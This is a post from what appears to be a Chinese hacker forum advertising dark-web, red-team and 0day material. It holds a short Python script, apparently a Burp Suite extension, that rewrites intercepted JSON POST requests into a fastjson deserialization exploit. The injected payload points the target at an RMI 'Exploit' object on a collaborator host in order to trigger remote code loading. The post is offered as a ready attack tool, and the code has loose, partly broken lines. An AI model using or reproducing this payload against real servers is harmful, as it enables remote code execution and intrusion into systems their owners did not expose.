黑客仓库

最全面知识的黑客论坛,全网最强大的漏洞数据聚合仓库丨黑客网站丨黑客论坛丨暗网丨红队武器库丨渗透测试丨POC/0day/Nday/1day丨网络安全丨黑客攻击丨服务器安全防御丨渗透测试入门丨网络技术交流丨蓝队丨护网丨红队丨欢迎来到黑客仓库,您可以在我们的论坛板块进行交流和学习。

立即注册账号!
fastjson

POC fastjson

Shacker已验证会员

黑客倉庫站長

贡献: 21%
注册
09 10, 2024
消息
186
Python:
import urlparse
import requests

if  messageIsRequest:
        request = messageInfo.getRequest()
        analyzedRequest = helpers.analyzeRequest(messageInfo) # returns IResponseInfo
        headers = analyzedRequest.getHeaders()
        print(headers)
        url = str(analyzedRequest.getUrl())
        parsedTuple = urlparse.urlparse(url)
        payload_url = parsedTuple.netloc
        #print(payload_url.split(":")[0])
        payload = '{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://$collabplz/Exploit"}}'
        payload_url.split(":")[0]
        import urllib
        import urllib2
        if "x-fuzz" not in str(headers) and "Content-Type: application/json" in str(headers):
            header_lib = dict()
            print("xxxxxxx")
            if "POST" in headers[0]:
                for n in headers:
                    if "HTTP/1." in n or "Host:" in n:
                        pass
                    else:
                        tmp = str(n).split(":")
                        if len(tmp)==2:
                            header_lib[tmp[0]]= tmp[1].strip()
                        elif len(tmp)==3:
                            header_lib[tmp[0]]= tmp[1].strip()+tmp[2].strip()
            header_lib['x-fuzz'] = 'fuzz by komi'
            proxies = {"http":"http://192.168.1.184:8080","https":"http://192.168.1.184:8080"}
            try:
                res=requests.post(url, headers=header_lib,data=payload,timeout=5,verify=False, allow_redirects="True", proxies=proxies)
                print ("[*]--------------------------------------Test %s -----------------------------------------------------[*]" % (url))
            except Exception as e:
                print(e)
 
后退
顶部